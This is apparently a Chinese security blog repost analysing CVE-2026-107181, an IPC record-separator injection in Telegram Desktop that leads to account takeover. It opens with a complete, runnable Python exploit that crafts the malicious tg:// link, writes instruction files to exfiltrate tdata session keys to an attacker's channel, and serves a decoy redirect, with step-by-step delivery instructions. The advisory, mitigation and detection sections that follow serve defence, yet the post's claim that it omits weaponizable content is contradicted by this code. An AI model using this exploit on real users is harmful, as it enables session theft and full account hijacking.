Telegram Desktop 一键账号接管(CVE-2026-107181)
原创
67626d
67626d
暗影安全
2026年11月5日 10:00
北京
去阅读
poc走在前面
#!/usr/bin/env python3\"\"\"CVE-2026-107181 - Telegram Desktop <= 7.2.8IPC record-separator injection -> interpret: arbitrary file read -> account takeover
When Telegram Desktop is already running, a clicked tg:// link is forwardedfrom the second process to the first over a local socket as text records:
OPEN:<url>;
Semicolons in <url> are not escaped, so the receiver splits one link intoseveral commands. The internal `interpret:` scheme (a leftover releasetooling helper, removed in 7.2.9) reads an instruction file and uploads anarbitrary local file to a chat, with no confirmation and no auth check.
Chained with Telegram's default auto-download of group files (which landsattacker-written instruction files at a predictable path), one clicked linkexfiltrates tdata/key_datas + session files -> full session hijack.
Reference: https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/Patch: https://github.com/telegramdesktop/tdesktop/commit/db3405699f (7.2.9)
LAB / EDUCATIONAL USE ONLY. Test against systems and accounts you own.\"\"\"
import argparseimport osimport sysfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
# Files that make up a Telegram Desktop session (Windows, default data name).# key_datas holds salt + wrapped DEK; with no local passcode the KEK derives# from an empty password, so these three files are the whole login.SESSION_FILES = [ \"tdata/key_datas\", \"tdata/D877F783D5D3EF8Cs\", \"tdata/D877F783D5D3EF8C/maps\",]
# Victim's auto-download dir, relative to %APPDATA%\\Telegram Desktop# (interpret: resolves relative paths from Telegram's working directory).# %20 = space. Three levels up lands in the user profile, then Downloads.DEFAULT_DL_PATH = \"../../../Downloads/Telegram%20Desktop\"
DECOY = (b\"<!doctype html><html><head><meta charset='utf-8'>\" b\"<title>Community Rules</title></head><body>\" b\"<h1>Community Rules</h1><p>Be respectful. No spam.</p>\" b\"</body></html>\")
def build_payload(dl_path: str, count: int) -> str: \"\"\"Craft the tg:// URL whose semicolons become extra OPEN: records.\"\"\" payload = \"tg://x?a=1\" # carrier URL, matches no handler for i in range(1, count + 1): payload += f\";OPEN:interpret:{dl_path}/i{i}.txt\" return payload
def write_instruction_files(channel: str, outdir: str) -> None: \"\"\"Instruction files for interpret: - plain text, LF, no BOM, no 'from:' (omitting from: skips the account-id check). channel: wants the bare MTProto peer id: Bot API id -1004488553400 -> 4488553400.\"\"\" os.makedirs(outdir, exist_ok=True) for idx, path in enumerate(SESSION_FILES, 1): content = f\"channel: {channel}\
file: {path}\
caption: poc\
\" target = os.path.join(outdir, f\"i{idx}.txt\") with open(target, \"w\", encoding=\"ascii\", newline=\"\
\") as fh: fh.write(content) if b\"\\r\" in open(target, \"rb\").read() or \\ open(target, \"rb\").read(3) == b\"\\xef\\xbb\\xbf\": sys.exit(f\"[!] {target}: bad line endings or BOM\") print(f\"[+] wrote {target}\")
def serve(payload: str, host: str, port: int) -> None: class Handler(BaseHTTPRequestHandler): protocol_version = \"HTTP/1.1\"
def do_GET(self): if self.path.startswith(\"/go\"): self.send_response(302) self.send_header(\"Location\", payload) self.send_header(\"Content-Length\", \"0\") self.end_headers() print(f\"[+] HIT {self.path} from {self.client_address[0]}\", flush=True) else: self.send_response(200) self.send_header(\"Content-Type\", \"text/html; charset=utf-8\") self.send_header(\"Content-Length\", str(len(DECOY))) self.end_headers() self.wfile.write(DECOY)
def log_message(self, *args): pass
print(f\"[*] exploit server on {host}:{port}\") print(f\"[*] post this link in the group: http://<YOUR-IP>:{port}/go\") ThreadingHTTPServer((host, port), Handler).serve_forever()
def main(): p = argparse.ArgumentParser( description=\"CVE-2026-107181 PoC - Telegram Desktop IPC injection \" \"-> arbitrary file read (lab use only)\") p.add_argument(\"-c\", \"--channel\", required=True, help=\"bare supergroup id (strip -100: -1004488553400 -> \" \"4488553400)\") p.add_argument(\"-p\", \"--port\", type=int, default=8080) p.add_argument(\"--host\", default=\"0.0.0.0\") p.add_argument(\"--outdir\", default=\"out\", help=\"where to write the instruction files\") p.add_argument(\"--dl-path\", default=DEFAULT_DL_PATH, help=\"URL-encoded relative path of the victim's \" \"Telegram auto-download folder\") args = p.parse_args()
channel = args.channel[4:] if args.channel.startswith(\"-100\") \\ else args.channel if not channel.isdigit(): sys.exit(\"[!] channel id must be numeric (bare id, no -100 prefix)\")
print(\"[*] CVE-2026-107181 PoC - Telegram Desktop <= 7.2.8\") write_instruction_files(channel, args.outdir) print(\"[*] steps:\") print(\" 1. post the files from --outdir as FILE attachments into the \" \"supergroup\") print(\" 2. victim opens the group (auto-download lands them in \" \"Downloads\\\\Telegram Desktop\\\\)\") print(\" 3. victim clicks the link, Telegram <= 7.2.8 must be RUNNING\") print(\" 4. session files are uploaded to the group -> rebuild tdata\") serve(build_payload(args.dl_path, len(SESSION_FILES)), args.host, args.port)
if __name__ == \"__main__\": main()
一个特制的tg:// 链接,利用Telegram Desktop「单实例进程间通信(IPC)」通道未转义的记录分隔符,向主进程注入额外命令,最终触达一个遗留的interpret: 内部处理器,把本地任意文件(含tdata 会话密钥)静默发送到攻击者控制的频道——若受害者未设本地密码,即可被完整接管账号。这是一个经典的「分隔符注入(CWE-143)」叠加「遗留危险功能」导致的严重信息泄露/账号接管漏洞。
1. 漏洞档案
| 项 | 内容 |
| CVE | CVE-2026-107181 |
| 组件 | Telegram Desktop Core::Sandbox(单实例IPC 处理),support\_helper.cpp 中的interpret: 处理器 |
| 弱点分类 | CWE-143:Improper Neutralization of Record Delimiters(记录分隔符处理不当) |
| 影响版本 | Telegram Desktop < 7.2.9(公开复现覆盖6.9.3 → 7.2.8) |
| 修复版本 | 7.2.9(2026-09-17 发布;修复 commit db3405699f8fc3ae28a58d2348b7d13a43c0590a 于09-16) |
| CVSS | 3.1 = 8.1(High);4.0 = 8.6(High)(VulnCheck 作为 CNA 给 8.6) |
| 攻击向量 | Network(AV:N);无需本地权限(PR:N);需用户交互(UI:R / UI:P) |
| 影响面 | 机密性High、完整性 High、可用性 None |
| 发现者 | Emiliano Versini(beaksec);技术文2026-10-03 发布、10-07 更新 |
| CVE 分配 | VulnCheck,2026-10-07 |
| 报送路径 | 经Zero Day Initiative(ZDI)于 2026-06-25 报送;ZDI 于 09-30 以\"已修复\"结案 |
| 在野利用 | 截至披露,无在野利用证据;未列入CISA KEV |
| 公开PoC | 已存在(多个GitHub 仓库,见第 8 节) |
| 已验证平台 | 仅Windows;macOS / Linux 未在技术文中验证(CVE 文本却全平台标注) |
| 供应商透明度警示:Telegram 在 7.2.9 的更新日志中只字未提安全问题,仅标注\"渲染修复(rendering fix)\",且无独立安全公告。安全团队若只靠 changelog 跟踪补丁状态,极易漏掉这次实质性修复。 |
2. 机理拆解
2.1 单实例 IPC 通道:本地信道被默认可信
Telegram Desktop 是「单实例」应用——同一时间只跑一个进程。当 Telegram 已在后台运行时,用户在浏览器(或任何外部程序)里点击一个tg://链接,系统会启动一个临时的新Telegram 进程,该进程发现已有实例在跑,便通过本地socket(命名管道/套接字)把链接原文转发给主进程,随后自己退出。主进程解析消息后把对应聊天拉到前台。
关键:这条本地IPC 通道默认假定\"本地来的就是可信的\"。点到即用的便利,埋下了\"本地信道不可盲信\"的坑——和浏览器、IDE 的单实例机制同源,但 Telegram 的序列化格式恰好可被注入。
2.2 根因:记录分隔符;未转义(CWE-143)
Telegram 的 IPC 序列化格式形如 关键字:参数;,用分号(;)作为命令/记录分隔符。例如主进程构造的消息是:
OPEN:tg://<被点击的链接>;
问题出在:应用把用户点击的链接原样拼进OPEN:记录,却没有对链接内容里的;做转义。链接文本完全由攻击者构造,于是:
l攻击者只需在链接中嵌入一个;,接收端就会把\"一条记录\"误判成\"两条记录\";
l后半段被当成一条独立的合法内部命令执行。
这本质和SQL 注入、HTTP 请求走私同源:用分隔符拼接字段、又允许字段内含该分隔符,接收方就无法区分\"带特殊值的字段\"和\"两条独立字段\"。
2.3 放大器:遗留的interpret:内部处理器
注入的命令触达了一个名为interpret: 的URI 方案处理器。它原本是为自动发布(release publishing)流程设计的遗留内部辅助功能,从未按\"不可信输入\"来设计:
l它读取本地的一个指令文件,按其中描述把指定文件发送到指定聊天/频道;
l无任何权限校验、无用户确认弹窗。
因此注入的OPEN:interpret:... 记录,可以让Telegram 主动把机器上任意本地文件(不止 tdata,还包括浏览器会话、SSH 密钥、加密钱包等)静默上传到攻击者频道。
2.4 修复做了什么(commitdb3405699f)
l彻底移除interpret:方案;
l对单实例socket 上的记录分隔符做转义处理;
l叠加额外防护:同一连接中若出现OPEN: 记录,则忽略CMD: / CTRL: 记录;一旦遇到非本地URL,立即丢弃本地文件路径。
3. 完整攻击链(公开披露版,分阶段)
以下为公开技术文描述的\"完整链路\"抽象概括,用于理解威胁模型与检测点。不包含可直接复制的恶意payload,也不提供针对具体受害者的投递步骤。
| 阶段 | 动作 | 依赖的前提(默认配置) |
| ① 落盘 | 攻击者将小型\"指令文件\"作为附件发进 Telegram 群,群组自动下载(默认≤ 8 MiB)把文件落到可预测路径 | 群组自动下载开启;路径可预测(如C:\Users\ |
| ② 加群 | 攻击者建超级群并把受害者拉入——默认隐私允许\"任何人可把我加进群\" | \"谁可以把我加进群组\"为默认(非仅联系人) |
| ③ 触发 | 受害者点击一个普通HTTPS 链接,浏览器重定向到一个特制tg://链接 | 链接须在Telegram 外部(如浏览器)打开;在Telegram 内部点击走另一不受影响路径 |
| ④ 注入 | tg:// 链接内嵌的; 把IPC 消息拆成多条记录,注入 OPEN:interpret:... 命令 | 浏览器唤起桌面端前通常会弹确认框(额外一道门槛) |
| ⑤ 外发 | interpret: 处理器按指令文件,把tdata 目录下的三类关键文件发往攻击者频道 | 三类文件:key\_datas(盐值+加密的 DEK)、MTProto 授权文件、索引映射 |
| ⑥ 接管 | 受害者未设本地密码(默认) → 盐值+空密码可推导出密钥加密密钥 → 解开数据加密密钥 → 攻击者在全新 Telegram 安装上重建会话、登录账号 | 本地密码未启用 |
关键边界(避免误读\"一键\"):
l必须是在Telegram 外部点击的tg:// 链接;App 内部点击走不同代码路径,不受影响。
l\"一键\"成立依赖多个默认配置同时为真:群组自动下载开启、允许被任意加群、未设本地密码。浏览器唤起应用前的确认框也增加了一道门槛。
l公开复现链在Windows 验证;macOS/Linux 有效性未在技术文中确认(CVE 文本仍全平台标注,企业应视为潜在受影响并采取缓解)。
4. 利用现状与 PoC
l公开PoC 已存在,且被多家媒体称为\"working PoC\"。公开仓库见第 8 节(00nx、abdugafforov-bobur、SeanDishman 等)。
l公开PoC 属于完整的\"崩溃/外发/接管可行性\"验证范畴。本文不搬运、不重述其weaponizable 部分。
l截至披露,无在野利用证据,未入CISA KEV。但\"公开可用 PoC\"通常会迅速缩小\"理论可行\"与\"实际被滥用\"之间的窗口——这正是要求立即打补丁的理由。
5. 影响面与边界(诚实标注)
| 维度 | 说明 |
| 已验证平台 | 仅Windows(6.9.3 起至 7.2.8) |
| CVE 文本范围 | 全平台Telegram Desktop(macOS/Linux 未在文中验证,建议同等对待) |
| 是否入KEV | 否(截至披露) |
| 在野利用证据 | 无(截至披露) |
| \"一键\"前提 | 外部点击+ 群组自动下载 + 可被任意加群 + 未设本地密码,缺一不可 |
| 可窃取范围 | 不止tdata:任意本地可读文件(浏览器会话、SSH 密钥、加密钱包等) |
6. 修复与版本线
| 动作 | 说明 |
| 升级 | Telegram Desktop ≥ 7.2.9(披露时最新为7.3.0,建议直接升到最新稳定版) |
| 验证构建 | 确认客户端内部版本号≥ 7.2.9,不要只看\"已是最新\"弹窗 |
| 非官方客户端 | 使用非官方/改版客户端的用户,在相关补丁发布前应暂时切回官方客户端 |
7. 防御与检测(蓝队视角)
7.1 个人/终端缓解
| 动作 | 说明 |
| 立即升级 | 所有受管Windows 终端升到 ≥ 7.2.9 |
| 启用本地密码 | 设置→ 隐私与安全 → 本地密码;即使会话文件被偷,密码也会加密tdata,阻止即时接管 |
| 关闭自动下载 | 改为\"每次询问保存位置\",消除指令文件自动落盘路径 |
| 收紧加群权限 | \"谁可以把我加进群组\"设为仅联系人,切断被动加群环节 |
| 警惕外部唤起 | 对浏览器请求\"用 Telegram 打开\"的弹窗保持戒备,尤其来自陌生链接 |
7.2 检测指标(可沉淀为规则)
l进程/网络侧:监控Telegram 进程向外(攻击者频道)的异常文件上传行为、异常的子进程派生。
l端点侧:关注tdata 目录下key\_datas、MTProto 授权文件、索引映射的非常规读取/外发。
l行为侧:同机出现\"外部 tg:// 唤起+ 随后向未知频道发送文件\"的组合事件,高度可疑。
l补丁SLA:将桌面IM 客户端纳入常规补丁确认清单,不依赖厂商changelog 是否提及安全。
8. 引用链(带 URL + 日期)
1.beaksec 技术文(原始披露):https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ — 发布 2026-10-03,更新 2026-10-07
2.NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-107181 — 标记 \"Awaiting Enrichment\"
3.Debian Security Tracker:https://security-tracker.debian.org/tracker/CVE-2026-107181 — Bug 1150328
4.OpenCVE:https://www.opencve.io/cve/CVE-2026-107181
5.CVE-DB(含 PoC 仓库链接):https://www.cve-db.com/cves/CVE-2026-107181
6.VulnCheck 公告(CNA,CVSS 4.0 8.6):https://www.vulncheck.com/advisories/telegram-desktop-before-7.2.9-ipc-record-injection-file-exfiltration-via-interpret-scheme
7.修复commit:https://github.com/telegramdesktop/tdesktop/commit/db3405699f8fc3ae28a58d2348b7d13a43c0590a
8.受影响代码(v7.2.8):sandbox.cpp#L362-L364、support\_helper.cpp#L673-L751 — https://github.com/telegramdesktop/tdesktop
9.发布标签v7.2.9:https://github.com/telegramdesktop/tdesktop/releases/tag/v7.2.9
10.公开PoC 仓库(多份,仅列作溯源,不搬运内容):
¡https://github.com/00nx/telegram-account-takeover-poc
¡https://github.com/abdugafforov-bobur/cve-2026-107181-poc
¡https://github.com/SeanDishman/telegram-cve-2026-107181
11.媒体/二次报道(机理交叉验证):
¡Secure Bulletin:https://securebulletin.com/telegram-desktop-patches-high-severity-ipc-bug-that-enabled-one-click-account-hijacking/
¡FreeBuf(中文):https://www.freebuf.com/articles/system/505519.html
¡Enigma Global:https://www.enigma-global.com/preview/news/44425
¡ZyVOP:https://zyvop.com/how-a-single-link-could-steal-your-telegram-desktop-session-69xnx
¡駿捷科技(中文):https://www.dreamjtech.com/35372
12.EUVD(欧盟漏洞库):EUVD-2026-94329
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






评论